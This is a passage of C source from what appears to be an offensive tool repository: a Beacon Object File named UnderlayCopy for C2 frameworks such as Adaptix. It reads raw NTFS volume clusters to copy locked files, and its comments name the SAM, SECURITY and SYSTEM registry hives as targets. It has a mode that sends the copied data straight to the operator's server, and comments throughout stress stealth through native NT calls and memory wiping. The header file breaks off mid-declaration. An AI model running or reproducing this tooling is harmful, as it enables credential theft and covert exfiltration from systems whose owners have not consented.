runArray[runCount].length = length;\n        runCount++;\n    }\n\n    *runs = runArray;\n    return runCount;\n}\n\n// Get file info from MFT record\nBOOL GetFileInfoFromRecord(BYTE* record, FILE_INFO* fileInfo, NTFS_BOOT* boot) {\n    WORD attrOffset = *(WORD*)(record + 20);\n    fileInfo->hasRuns = FALSE;\n    fileInfo->isResident = FALSE;\n    fileInfo->runs = NULL;\n    fileInfo->runCount = 0;\n    fileInfo->residentData = NULL;\n    fileInfo->residentDataSize = 0;\n\n    while (attrOffset < MFT_RECORD_SIZE) {\n        DWORD attrType = *(DWORD*)(record + attrOffset);\n        if (attrType == ATTRIBUTE_END) {\n            break;\n        }\n\n        DWORD attrLength = *(DWORD*)(record + attrOffset + 4);\n        if (attrLength == 0 || attrOffset + attrLength > MFT_RECORD_SIZE) {\n            break;\n        }\n\n        BYTE nonResident = record[attrOffset + 8];\n\n        // Handle $DATA attribute\n        if (attrType == ATTRIBUTE_DATA) {\n            if (nonResident == 0) {\n                // Resident data\n                fileInfo->isResident = TRUE;\n                fileInfo->fileSize = *(ULONGLONG*)(record + attrOffset + 16);\n                WORD valueOffset = *(WORD*)(record + attrOffset + 20);\n                fileInfo->residentDataSize = (DWORD)fileInfo->fileSize;\n                fileInfo->residentData = (BYTE*)intAlloc(fileInfo->residentDataSize);\n                MSVCRT$memcpy(fileInfo->residentData, record + attrOffset + valueOffset, fileInfo->residentDataSize);\n            } else {\n                // Non-resident data\n                fileInfo->isResident = FALSE;\n                fileInfo->fileSize = *(ULONGLONG*)(record + attrOffset + 48);\n                WORD dataRunsOffset = *(WORD*)(record + attrOffset + 32);\n                int dataRunsSize = attrLength - dataRunsOffset;\n                BYTE* dataRuns = record + attrOffset + dataRunsOffset;\n\n                fileInfo->runCount = ParseDataRuns(dataRuns, dataRunsSize, &fileInfo->runs, boot);\n                fileInfo->hasRuns = (fileInfo->runCount > 0);\n            }\n            break;\n        }\n\n        attrOffset += attrLength;\n    }\n\n    return TRUE;\n}\n\n// Copy file by extents (MFT mode) - stealth implementation\nBOOL CopyFileByMft(HANDLE hVolume, HANDLE hOutput, FILE_INFO* fileInfo, NTFS_BOOT* boot) {\n    ULONGLONG bytesWritten = 0;\n    BYTE* buffer = NULL;\n    DWORD bufferSize = 64 * 1024; // 64KB buffer for stealth (smaller = less memory footprint)\n    IO_STATUS_BLOCK ioStatus;\n    NTSTATUS status;\n\n    buffer = (BYTE*)intAlloc(bufferSize);\n    if (!buffer) {\n        return FALSE;\n    }\n\n    if (fileInfo->isResident) {\n        // Copy resident data using NtWriteFile for stealth\n        LARGE_INTEGER writeOffset;\n        writeOffset.QuadPart = 0;\n        status = NTDLL$NtWriteFile(\n            hOutput,\n            NULL,\n            NULL,\n            NULL,\n            &ioStatus,\n            fileInfo->residentData,\n            fileInfo->residentDataSize,\n            &writeOffset,\n            NULL\n        );\n        if (!NT_SUCCESS(status)) {\n            intFree(buffer);\n            return FALSE;\n        }\n        bytesWritten = ioStatus.Information;\n    } else if (fileInfo->hasRuns) {\n        // Copy non-resident data\n        int i;\n        for (i = 0; i < fileInfo->runCount; i++) {\n            ULONGLONG toRead = fileInfo->runs[i].length * boot->clusterSize;\n            ULONGLONG remaining = fileInfo->fileSize - bytesWritten;\n            if (toRead > remaining) {\n                toRead = remaining;\n            }\n            if (toRead == 0) {\n                break;\n            }\n\n            if (fileInfo->runs[i].lcn == 0) {\n                // Sparse cluster - write zeros\n                if (!WriteSparseToFile(hOutput, bytesWritten, toRead, buffer)) {\n                    intFree(buffer);\n                    return FALSE;\n                }\n                bytesWritten += toRead;\n                continue;\n            }\n\n            ULONGLONG diskOffset = fileInfo->runs[i].lcn * boot->clusterSize;\n            ULONGLONG copied = 0;\n            \n            if (!CopyChunkToFile(hVolume, hOutput, diskOffset, toRead, bytesWritten, buffer, bufferSize, &copied)) {\n                // If we've copied some data and reached file size, it's OK\n                if (bytesWritten >= fileInfo->fileSize) {\n                    break;\n                }\n                intFree(buffer);\n                return FALSE;\n            }\n            \n            bytesWritten += copied;\n\n            if (bytesWritten >= fileInfo->fileSize) {\n                break;\n            }\n        }\n    }\n\n    // Clear buffer before freeing\n    MSVCRT$memset(buffer, 0, bufferSize);\n    intFree(buffer);\n    \n    // Verify that we copied the complete file\n    if (bytesWritten != fileInfo->fileSize) {\n        return FALSE;\n    }\n    \n    return TRUE;\n}\n\n// Get file extents using FSCTL_GET_RETRIEVAL_POINTERS (Metadata mode)\nint GetFileExtents(HANDLE hFile, EXTENT** extents, DWORD* extentCount) {\n    DWORD bytesReturned = 0;\n    DWORD bufferSize = 4096;\n    BYTE* buffer = NULL;\n    STARTING_VCN_INPUT_BUFFER inputBuffer = {0};\n    PRETRIEVAL_POINTERS_BUFFER outputBuffer = NULL;\n    EXTENT* extentArray = NULL;\n    int result = 0;\n    \n    inputBuffer.StartingVcn.QuadPart = 0;\n    \n    // Allocate buffer for retrieval pointers\n    buffer = (BYTE*)intAlloc(bufferSize);\n    if (!buffer) {\n        return 0;\n    }\n    \n    // First call to get required buffer size\n    if (!KERNEL32$DeviceIoControl(\n        hFile,\n        FSCTL_GET_RETRIEVAL_POINTERS,\n        &inputBuffer,\n        sizeof(inputBuffer),\n        buffer,\n        bufferSize,\n        &bytesReturned,\n        NULL\n    )) {\n        DWORD error = KERNEL32$GetLastError();\n        if (error == ERROR_MORE_DATA) {\n            // Need larger buffer\n            intFree(buffer);\n            bufferSize = bytesReturned;\n            buffer = (BYTE*)intAlloc(bufferSize);\n            if (!buffer) {\n                return 0;\n            }\n            \n            // Retry with larger buffer\n            if (!KERNEL32$DeviceIoControl(\n                hFile,\n                FSCTL_GET_RETRIEVAL_POINTERS,\n                &inputBuffer,\n                sizeof(inputBuffer),\n                buffer,\n                bufferSize,\n                &bytesReturned,\n                NULL\n            )) {\n                intFree(buffer);\n                return 0;\n            }\n        } else {\n            intFree(buffer);\n            return 0;\n        }\n    }\n    \n    outputBuffer = (PRETRIEVAL_POINTERS_BUFFER)buffer;\n    \n    // Allocate extent array\n    extentArray = (EXTENT*)intAlloc(sizeof(EXTENT) * outputBuffer->ExtentCount);\n    if (!extentArray) {\n        intFree(buffer);\n        return 0;\n    }\n    \n    // Parse extents\n    for (DWORD i = 0; i < outputBuffer->ExtentCount; i++) {\n        LARGE_INTEGER nextVcn = outputBuffer->Extents[i].NextVcn;\n        LARGE_INTEGER lcn = outputBuffer->Extents[i].Lcn;\n        LARGE_INTEGER currentVcn = (i == 0) ? outputBuffer->StartingVcn : outputBuffer->Extents[i-1].NextVcn;\n        \n        extentArray[i].lcn = lcn.QuadPart;\n        extentArray[i].lengthClusters = nextVcn.QuadPart - currentVcn.QuadPart;\n    }\n    \n    *extents = extentArray;\n    *extentCount = outputBuffer->ExtentCount;\n    result = outputBuffer->ExtentCount;\n    \n    intFree(buffer);\n    return result;\n}\n\n// Copy file by extents (Metadata mode) - stealth implementation\nBOOL CopyFileByExtents(HANDLE hVolume, HANDLE hOutput, EXTENT* extents, DWORD extentCount, ULONGLONG clusterSize, ULONGLONG fileSize) {\n    ULONGLONG bytesWritten = 0;\n    BYTE* buffer = NULL;\n    DWORD bufferSize = 64 * 1024; // 64KB buffer\n    IO_STATUS_BLOCK ioStatus;\n    NTSTATUS status;\n    \n    buffer = (BYTE*)intAlloc(bufferSize);\n    if (!buffer) {\n        return FALSE;\n    }\n    \n    for (DWORD i = 0; i < extentCount; i++) {\n        ULONGLONG extentBytes = extents[i].lengthClusters * clusterSize;\n        ULONGLONG remaining = fileSize - bytesWritten;\n        ULONGLONG toCopy = (extentBytes > remaining) ? remaining : extentBytes;\n        \n        if (toCopy == 0) {\n            break;\n        }\n        \n        // Check for sparse extent (LCN = -1 indicates sparse cluster in FSCTL_GET_RETRIEVAL_POINTERS)\n        // Note: LCN = 0 is a valid cluster (boot sector), so we only check for -1\n        if (extents[i].lcn == (ULONGLONG)-1) {\n            // Sparse extent - write zeros\n            if (!WriteSparseToFile(hOutput, bytesWritten, toCopy, buffer)) {\n                intFree(buffer);\n                return FALSE;\n            }\n            bytesWritten += toCopy;\n            continue;\n        }\n        \n        ULONGLONG diskOffset = extents[i].lcn * clusterSize;\n        ULONGLONG copied = 0;\n        \n        if (!CopyChunkToFile(hVolume, hOutput, diskOffset, toCopy, bytesWritten, buffer, bufferSize, &copied)) {\n            // If we've copied some data and reached file size, it's OK\n            if (bytesWritten >= fileSize) {\n                break;\n            }\n            intFree(buffer);\n            return FALSE;\n        }\n        \n        bytesWritten += copied;\n        \n        if (bytesWritten >= fileSize) {\n            break;\n        }\n    }\n    \n    // Clear buffer before freeing\n    MSVCRT$memset(buffer, 0, bufferSize);\n    intFree(buffer);\n    \n    // Verify that we copied the complete file\n    if (bytesWritten != fileSize) {\n        return FALSE;\n    }\n    \n    return TRUE;\n}\n\n// Copy file by extents directly to memory buffer (for download to server)\nBOOL CopyFileByMftToMemory(HANDLE hVolume, FILE_INFO* fileInfo, NTFS_BOOT* boot, BYTE** outputBuffer, ULONGLONG* outputSize) {\n    ULONGLONG bytesCopied = 0;\n    BYTE* buffer = NULL;\n    DWORD bufferSize = 64 * 1024; // 64KB buffer\n    IO_STATUS_BLOCK ioStatus;\n    NTSTATUS status;\n    BYTE* resultBuffer = NULL;\n\n    *outputBuffer = NULL;\n    *outputSize = 0;\n\n    // Allocate output buffer\n    if (fileInfo->fileSize > 0x7FFFFFFF) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] File too large: %llu bytes\\n\", fileInfo->fileSize);\n        return FALSE; // File too large\n    }\n    resultBuffer = (BYTE*)intAlloc((SIZE_T)fileInfo->fileSize);\n    if (!resultBuffer) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to allocate buffer for file (%llu bytes)\\n\", fileInfo->fileSize);\n        return FALSE;\n    }\n\n    buffer = (BYTE*)intAlloc(bufferSize);\n    if (!buffer) {\n        intFree(resultBuffer);\n        return FALSE;\n    }\n\n    if (fileInfo->isResident) {\n        // Copy resident data directly\n        if (fileInfo->residentData && fileInfo->residentDataSize > 0) {\n            MSVCRT$memcpy(resultBuffer, fileInfo->residentData, fileInfo->residentDataSize);\n            bytesCopied = fileInfo->residentDataSize;\n        } else {\n            intFree(resultBuffer);\n            intFree(buffer);\n            return FALSE;\n        }\n    } else if (fileInfo->hasRuns && fileInfo->runCount > 0) {\n        // Copy non-resident data\n        int i;\n        for (i = 0; i < fileInfo->runCount; i++) {\n            ULONGLONG toRead = fileInfo->runs[i].length * boot->clusterSize;\n            ULONGLONG remaining = fileInfo->fileSize - bytesCopied;\n            if (toRead > remaining) {\n                toRead = remaining;\n            }\n            if (toRead == 0) {\n                break;\n            }\n\n            if (fileInfo->runs[i].lcn == 0) {\n                // Sparse cluster - write zeros\n                WriteSparseToMemory(resultBuffer, bytesCopied, toRead);\n                bytesCopied += toRead;\n                continue;\n            }\n\n            ULONGLONG diskOffset = fileInfo->runs[i].lcn * boot->clusterSize;\n            ULONGLONG copied = 0;\n            \n            if (!CopyChunkToMemory(hVolume, resultBuffer, bytesCopied, diskOffset, toRead, buffer, bufferSize, &copied)) {\n                // If we've copied some data and reached file size, it's OK\n                if (bytesCopied >= fileInfo->fileSize) {\n                    break;\n                }\n                intFree(resultBuffer);\n                intFree(buffer);\n                return FALSE;\n            }\n            \n            bytesCopied += copied;\n\n            if (bytesCopied >= fileInfo->fileSize) {\n                break;\n            }\n        }\n    } else {\n        // File has no data runs and is not resident - empty file or error\n        if (fileInfo->fileSize == 0) {\n            // Empty file is valid\n            bytesCopied = 0;\n        } else {\n            // Error: file has size but no data\n            BeaconPrintf(CALLBACK_ERROR, \"[-] File has size (%llu) but no data (not resident, no runs)\\n\", fileInfo->fileSize);\n            intFree(resultBuffer);\n            intFree(buffer);\n            return FALSE;\n        }\n    }\n\n    // Clear buffer before freeing\n    MSVCRT$memset(buffer, 0, bufferSize);\n    intFree(buffer);\n\n    // Verify that we copied the complete file\n    if (bytesCopied != fileInfo->fileSize) {\n        intFree(resultBuffer);\n        return FALSE;\n    }\n    \n    *outputBuffer = resultBuffer;\n    *outputSize = bytesCopied;\n    return TRUE;\n}\n\n// Download file to server using Adaptix API\nBOOL download_file(IN LPCSTR sourcePath, IN LPCSTR customFileName, IN char* fileData, IN ULONG32 fileLength) {\n    if (!fileData || fileLength == 0) {\n        return FALSE;\n    }\n\n    // Use source path for display name\n    LPCSTR pathToResolve = sourcePath;\n    if (customFileName && MSVCRT$strlen(customFileName) > 0) {\n        pathToResolve = customFileName;\n    }\n    if (!pathToResolve || MSVCRT$strlen(pathToResolve) == 0) {\n        return FALSE;\n    }\n\n    // Convert path to wide for GetFullPathNameW\n    int pathLen = MSVCRT$strlen(pathToResolve) + 1;\n    int wideLen = KERNEL32$MultiByteToWideChar(CP_ACP, 0, pathToResolve, pathLen, NULL, 0);\n    if (wideLen <= 0) {\n        return FALSE;\n    }\n    WCHAR* pathW = (WCHAR*)intAlloc(wideLen * sizeof(WCHAR));\n    if (!pathW) {\n        return FALSE;\n    }\n    KERNEL32$MultiByteToWideChar(CP_ACP, 0, pathToResolve, pathLen, pathW, wideLen);\n\n    // Resolve to full path\n    WCHAR fullPathW[MAX_PATH];\n    DWORD fullLen = KERNEL32$GetFullPathNameW(pathW, MAX_PATH, fullPathW, NULL);\n    intFree(pathW);\n\n    char* finalFileName = NULL;\n    if (fullLen > 0 && fullLen < MAX_PATH) {\n        // Convert full path back to ANSI for AxDownloadMemory\n        int ansiLen = KERNEL32$WideCharToMultiByte(CP_ACP, 0, fullPathW, (int)(fullLen + 1), NULL, 0, NULL, NULL);\n        if (ansiLen > 0) {\n            finalFileName = (char*)intAlloc(ansiLen);\n            if (finalFileName) {\n                KERNEL32$WideCharToMultiByte(CP_ACP, 0, fullPathW, (int)(fullLen + 1), finalFileName, ansiLen, NULL, NULL);\n            }\n        }\n    }\n    if (!finalFileName) {\n        // Fallback: use original path as-is\n        int pathSize = MSVCRT$strlen(pathToResolve) + 1;\n        finalFileName = (char*)intAlloc(pathSize);\n        if (!finalFileName) {\n            return FALSE;\n        }\n        MSVCRT$strcpy(finalFileName, pathToResolve);\n    }\n\n    // Download to server\n    AxDownloadMemory(finalFileName, fileData, (int)fileLength);\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] File downloaded to server: %s (%lu bytes)\\n\", finalFileName, fileLength);\n\n    intFree(finalFileName);\n    return TRUE;\n}\n\n// Main function\nvoid go(char* args, int len) {\n    datap parser;\n    char* mode = NULL;\n    char* sourceFile = NULL;\n    char* destFile = NULL;\n    int downloadToServer = 0;  // 0 = write to disk, 1 = download to server\n    WCHAR* sourceFileW = NULL;\n    WCHAR* destFileW = NULL;\n    HANDLE hVolume = INVALID_HANDLE_VALUE;\n    HANDLE hOutput = INVALID_HANDLE_VALUE;\n    NTFS_BOOT boot = {0};\n    FILE_INFO fileInfo = {0};\n    BYTE* mftRecord = NULL;\n    ULONGLONG mftRecordNumber = 0;\n    ULONGLONG fileSize = 0;\n    BOOL success = FALSE;\n    BYTE* fileBuffer = NULL;  // Buffer for file data when downloading to server\n\n    BeaconDataParse(&parser, args, len);\n    mode = BeaconDataExtract(&parser, NULL);\n    sourceFile = BeaconDataExtract(&parser, NULL);\n    destFile = BeaconDataExtract(&parser, NULL);\n    downloadToServer = BeaconDataInt(&parser);\n\n    if (!mode || !sourceFile) {\n        return;\n    }\n\n    // Check if destFile is empty string (when --download is used without destination)\n    if (destFile && MSVCRT$strlen(destFile) == 0) {\n        destFile = NULL;\n    }\n\n    // If downloading to server, destFile is optional (used as filename on server)\n    // If saving to disk, destFile is required\n    if (!downloadToServer && !destFile) {\n        return;\n    }\n\n    // Convert to wide char\n    int sourceLen = MSVCRT$strlen(sourceFile) + 1;\n    sourceFileW = (WCHAR*)intAlloc(sourceLen * sizeof(WCHAR));\n    KERNEL32$MultiByteToWideChar(CP_ACP, 0, sourceFile, -1, sourceFileW, sourceLen);\n\n    if (destFile) {\n        int destLen = MSVCRT$strlen(destFile) + 1;\n        destFileW = (WCHAR*)intAlloc(destLen * sizeof(WCHAR));\n        KERNEL32$MultiByteToWideChar(CP_ACP, 0, destFile, -1, destFileW, destLen);\n    } else if (downloadToServer) {\n        // Generate default filename from source if not provided\n        char* fileName = MSVCRT$strrchr(sourceFile, '\\\\');\n        if (!fileName) {\n            fileName = MSVCRT$strrchr(sourceFile, '/');\n        }\n        if (fileName) {\n            fileName++;  // Skip the separator\n        } else {\n            fileName = sourceFile;\n        }\n        int destLen = MSVCRT$strlen(fileName) + 1;\n        destFileW = (WCHAR*)intAlloc(destLen * sizeof(WCHAR));\n        KERNEL32$MultiByteToWideChar(CP_ACP, 0, fileName, -1, destFileW, destLen);\n    }\n\n    // Open volume using NtCreateFile for stealth (hardcoded to C: for now)\n    OBJECT_ATTRIBUTES objAttr;\n    UNICODE_STRING volumePath;\n    IO_STATUS_BLOCK ioStatus;\n    NTSTATUS status;\n\n    WCHAR volumeName[] = L\"\\\\??\\\\C:\";\n    NTDLL$RtlInitUnicodeString(&volumePath, volumeName);\n\n    objAttr.Length = sizeof(OBJECT_ATTRIBUTES);\n    objAttr.RootDirectory = NULL;\n    objAttr.ObjectName = &volumePath;\n    objAttr.Attributes = OBJ_CASE_INSENSITIVE;\n    objAttr.SecurityDescriptor = NULL;\n    objAttr.SecurityQualityOfService = NULL;\n\n    status = NTDLL$NtCreateFile(\n        &hVolume,\n        FILE_READ_DATA | SYNCHRONIZE,\n        &objAttr,\n        &ioStatus,\n        NULL,\n        FILE_ATTRIBUTE_NORMAL,\n        FILE_SHARE_READ | FILE_SHARE_WRITE,\n        FILE_OPEN,\n        FILE_SYNCHRONOUS_IO_NONALERT,\n        NULL,\n        0\n    );\n\n    if (!NT_SUCCESS(status)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to open volume: 0x%08X\\n\", status);\n        goto cleanup;\n    }\n\n    // Read NTFS boot sector\n    if (!ReadNtfsBoot(hVolume, &boot)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to read NTFS boot sector\\n\");\n        goto cleanup;\n    }\n\n    if (MSVCRT$strcmp(mode, \"MFT\") == 0) {\n        // MFT mode\n        if (!GetNtfsFileInfo(sourceFileW, &mftRecordNumber, &fileSize)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get file info from source\\n\");\n            goto cleanup;\n        }\n\n        mftRecord = (BYTE*)intAlloc(MFT_RECORD_SIZE);\n        if (!mftRecord) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to allocate MFT record buffer\\n\");\n            goto cleanup;\n        }\n\n        if (!ReadMftRecord(hVolume, &boot, mftRecordNumber, mftRecord)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to read MFT record\\n\");\n            goto cleanup;\n        }\n\n        // Initialize fileSize before parsing (will be overwritten if $DATA found)\n        fileInfo.fileSize = fileSize;\n\n        if (!GetFileInfoFromRecord(mftRecord, &fileInfo, &boot)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to parse file info from MFT record\\n\");\n            goto cleanup;\n        }\n\n        // Use actual file size from GetNtfsFileInfo (more reliable)\n        fileInfo.fileSize = fileSize;\n\n        if (downloadToServer) {\n            // Copy file directly to memory for download (no disk write)\n            ULONGLONG copiedSize = 0;\n            if (!CopyFileByMftToMemory(hVolume, &fileInfo, &boot, &fileBuffer, &copiedSize)) {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to copy file data to memory\\n\");\n                goto cleanup;\n            }\n\n            // Close output file handle (we don't need it anymore)\n            if (hOutput != INVALID_HANDLE_VALUE) {\n                NTDLL$NtClose(hOutput);\n                hOutput = INVALID_HANDLE_VALUE;\n            }\n\n            // Download to server\n            if (download_file(sourceFile, destFile, (char*)fileBuffer, (ULONG32)copiedSize)) {\n                success = TRUE;\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+] File copied and downloaded to server: %llu bytes\\n\", copiedSize);\n            } else {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to download file to server\\n\");\n            }\n        } else {\n            // Create output file using NtCreateFile for stealth\n            if (!CreateOutputFileNt(destFileW, &hOutput)) {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create output file\\n\");\n                goto cleanup;\n            }\n\n            if (!CopyFileByMft(hVolume, hOutput, &fileInfo, &boot)) {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to copy file data\\n\");\n                goto cleanup;\n            }\n\n            success = TRUE;\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] File copied successfully: %llu bytes\\n\", fileSize);\n        }\n    } else if (MSVCRT$strcmp(mode, \"Metadata\") == 0) {\n        // Metadata mode - use FSCTL_GET_RETRIEVAL_POINTERS\n        HANDLE hSourceFile = INVALID_HANDLE_VALUE;\n        EXTENT* extents = NULL;\n        DWORD extentCount = 0;\n\n        // Get file size\n        if (!GetNtfsFileInfo(sourceFileW, &mftRecordNumber, &fileSize)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get file info from source\\n\");\n            goto cleanup;\n        }\n\n        // Open source file for getting extents using CreateFileW (DeviceIoControl requires CreateFileW handle)\n        WCHAR normalizedSourcePath[MAX_PATH * 2];\n\n        if (!NormalizePathForCreateFileW(sourceFileW, normalizedSourcePath, MAX_PATH * 2)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to normalize source path\\n\");\n            goto cleanup;\n        }\n\n        // Try with minimal access rights first (FSCTL_GET_RETRIEVAL_POINTERS may work with just FILE_READ_ATTRIBUTES)\n        // For locked files like SAM, SECURITY, SYSTEM, we need FILE_FLAG_BACKUP_SEMANTICS\n        hSourceFile = KERNEL32$CreateFileW(\n            normalizedSourcePath,\n            FILE_READ_ATTRIBUTES,\n            FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\n            NULL,\n            OPEN_EXISTING,\n            FILE_FLAG_BACKUP_SEMANTICS,\n            NULL\n        );\n\n        // If that fails, try with FILE_READ_DATA (but this usually fails for locked files)\n        if (hSourceFile == INVALID_HANDLE_VALUE) {\n            DWORD error1 = KERNEL32$GetLastError();\n            hSourceFile = KERNEL32$CreateFileW(\n                normalizedSourcePath,\n                FILE_READ_ATTRIBUTES | FILE_READ_DATA,\n                FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\n                NULL,\n                OPEN_EXISTING,\n                FILE_FLAG_BACKUP_SEMANTICS,\n                NULL\n            );\n            if (hSourceFile == INVALID_HANDLE_VALUE) {\n                // Both attempts failed - file is likely locked\n                DWORD error2 = KERNEL32$GetLastError();\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to open source file (locked?): first=0x%08X, second=0x%08X\\n\", error1, error2);\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Note: For locked files (SAM, SECURITY, SYSTEM), use MFT mode instead\\n\");\n                goto cleanup;\n            }\n        }\n\n        if (hSourceFile == INVALID_HANDLE_VALUE) {\n            DWORD error = KERNEL32$GetLastError();\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to open source file: 0x%08X\\n\", error);\n            goto cleanup;\n        }\n\n        // Get extents\n        if (GetFileExtents(hSourceFile, &extents, &extentCount) == 0) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get file extents\\n\");\n            KERNEL32$CloseHandle(hSourceFile);\n            goto cleanup;\n        }\n\n        KERNEL32$CloseHandle(hSourceFile);\n\n        if (downloadToServer) {\n            // Copy file directly to memory for download\n            ULONGLONG copiedSize = 0;\n            BYTE* tempBuffer = NULL;\n\n            if (!CopyFileByExtentsToMemory(hVolume, extents, extentCount, boot.clusterSize, fileSize, &tempBuffer, &copiedSize)) {\n                intFree(extents);\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to copy file data to memory\\n\");\n                goto cleanup;\n            }\n\n            // Download to server\n            if (download_file(sourceFile, destFile, (char*)tempBuffer, (ULONG32)copiedSize)) {\n                success = TRUE;\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+] File copied and downloaded to server: %llu bytes\\n\", copiedSize);\n            } else {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to download file to server\\n\");\n            }\n\n            intFree(tempBuffer);\n        } else {\n            // Create output file using NtCreateFile for stealth\n            if (!CreateOutputFileNt(destFileW, &hOutput)) {\n                intFree(extents);\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create output file\\n\");\n                goto cleanup;\n            }\n\n            if (!CopyFileByExtents(hVolume, hOutput, extents, extentCount, boot.clusterSize, fileSize)) {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to copy file data\\n\");\n                intFree(extents);\n                goto cleanup;\n            }\n\n            success = TRUE;\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] File copied successfully: %llu bytes\\n\", fileSize);\n        }\n\n        if (extents) {\n            intFree(extents);\n        }\n    }\n\ncleanup:\n    // Clean up handles using NtClose for stealth\n    if (hVolume != INVALID_HANDLE_VALUE) {\n        NTDLL$NtClose(hVolume);\n    }\n    if (hOutput != INVALID_HANDLE_VALUE) {\n        NTDLL$NtClose(hOutput);\n    }\n\n    // Securely clear and free memory\n    if (mftRecord) {\n        MSVCRT$memset(mftRecord, 0, MFT_RECORD_SIZE);\n        intFree(mftRecord);\n    }\n    if (fileInfo.runs) {\n        MSVCRT$memset(fileInfo.runs, 0, sizeof(DATA_RUN) * fileInfo.runCount);\n        intFree(fileInfo.runs);\n    }\n    if (fileInfo.residentData) {\n        MSVCRT$memset(fileInfo.residentData, 0, fileInfo.residentDataSize);\n        intFree(fileInfo.residentData);\n    }\n    if (sourceFileW) {\n        MSVCRT$memset(sourceFileW, 0, sourceLen * sizeof(WCHAR));\n        intFree(sourceFileW);\n    }\n    if (destFileW) {\n        int destLen = KERNEL32$lstrlenW(destFileW) + 1;\n        MSVCRT$memset(destFileW, 0, destLen * sizeof(WCHAR));\n        intFree(destFileW);\n    }\n\n    if (fileBuffer) {\n        MSVCRT$memset(fileBuffer, 0, (SIZE_T)fileSize);\n        intFree(fileBuffer);\n    }\n\n    // Clear sensitive data from stack\n    MSVCRT$memset(&boot, 0, sizeof(boot));\n    MSVCRT$memset(&fileInfo, 0, sizeof(fileInfo));\n}\n"
  },
  {
    "path": "Creds-BOF/UnderlayCopy/underlaycopy.h",
    "content": "#ifndef UNDERLAYCOPY_H\n#define UNDERLAYCOPY_H\n\n#include <windows.h>\n#include <stdint.h>\n\n// NTFS Constants\n#define MFT_RECORD_SIZE 1024\n// FILE_READ_ATTRIBUTES and FILE_FLAG_BACKUP_SEMANTICS are already defined in windows.h\n#define FILE_SHARE_READ 0x00000001\n#define FILE_SHARE_WRITE 0x00000002\n#define FILE_SHARE_DELETE 0x00000004\n#define OPEN_EXISTING 3\n\n// NTSTATUS helper\n#ifndef NT_SUCCESS\n#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)\n#endif\n\n// NtCreateFile constants (if not defined)\n#ifndef FILE_READ_DATA\n#define FILE_READ_DATA 0x0001\n#endif\n#ifndef FILE_WRITE_DATA\n#define FILE_WRITE_DATA 0x0002\n#endif\n#ifndef FILE_OPEN\n#define FILE_OPEN 1\n#endif\n#ifndef FILE_OVERWRITE_IF\n#define FILE_OVERWRITE_IF 5\n#endif\n#ifndef FILE_SYNCHRONOUS_IO_NONALERT\n#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020\n#endif\n#ifndef FILE_NON_DIRECTORY_FILE\n#define FILE_NON_DIRECTORY_FILE 0x00000040\n#endif\n#ifndef FILE_OPEN_FOR_BACKUP_INTENT\n#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000\n#endif\n#ifndef OBJ_CASE_INSENSITIVE\n#define OBJ_CASE_INSENSITIVE 0x00000040L\n#endif\n\n// NTFS Attribute Types\n#define ATTRIBUTE_END 0xFFFFFFFF\n#define ATTRIBUTE_FILE_NAME 0x30\n#define ATTRIBUTE_DATA 0x80\n\n// NTFS Boot Sector offsets\n#define BOOT_BYTES_PER_SECTOR 11\n#define BOOT_SECTORS_PER_CLUSTER 13\n#define BOOT_MFT_CLUSTER 48\n\n// Data Run structure\ntypedef struct {\n    ULONGLONG lcn;\n    ULONGLONG length;\n} DATA_RUN;\n\n// Extent structure (for Metadata mode)\ntypedef struct {\n    ULONGLONG lcn;\n    ULONGLONG lengthClusters;\n} EXTENT;\n\n// NTFS Boot Sector structure\ntypedef struct {\n    WORD bytesPerSector;\n    BYTE sectorsPerCluster;\n    DWORD clusterSize;\n    ULONGLONG mftCluster;\n} NTFS_BOOT;\n\n// File Info structure\ntypedef struct {\n    ULONGLONG fileSize;\n    ULONGLONG mftRecordNumber;\n    DATA_RUN* runs;\n    int runCount;\n    BOOL hasRuns;\n    BOOL isResident;\n    BYTE* residentData;\n    DWORD residentDataSize;\n} FILE_INFO;\n\n// Constants\n#ifndef MAX_COMPUTERNAME_LENGTH\n#define MAX_COMPUTERNAME_LENGTH 15\n#endif\n\n// FSCTL_GET_RETRIEVAL_POINTERS constants\n#ifndef FSCTL_GET_RETRIEVAL_POINTERS\n#define FSCTL_GET_RETRIEVAL_POINTERS 0x00090073\n#endif\n\n#ifndef ERROR_MORE_DATA\n#define ERROR_MORE_DATA 234\n#endif\n\n// Structures for FSCTL_GET_RETRIEVAL_POINTERS are defined in winioctl.h\n// STARTING_VCN_INPUT_BUFFER and RETRIEVAL_POINTERS_BUFFER are already defined there\n\n// Helper function declarations\nBOOL NormalizePathForCreateFileW(LPCWSTR path, WCHAR* normalizedPath, int bufferSize);\nBOOL NormalizePathForNtCreateFile(LPCWSTR path, WCHAR* normalizedPath, int bufferSize);\nBOOL CreateOutputFileNt(LPCWSTR 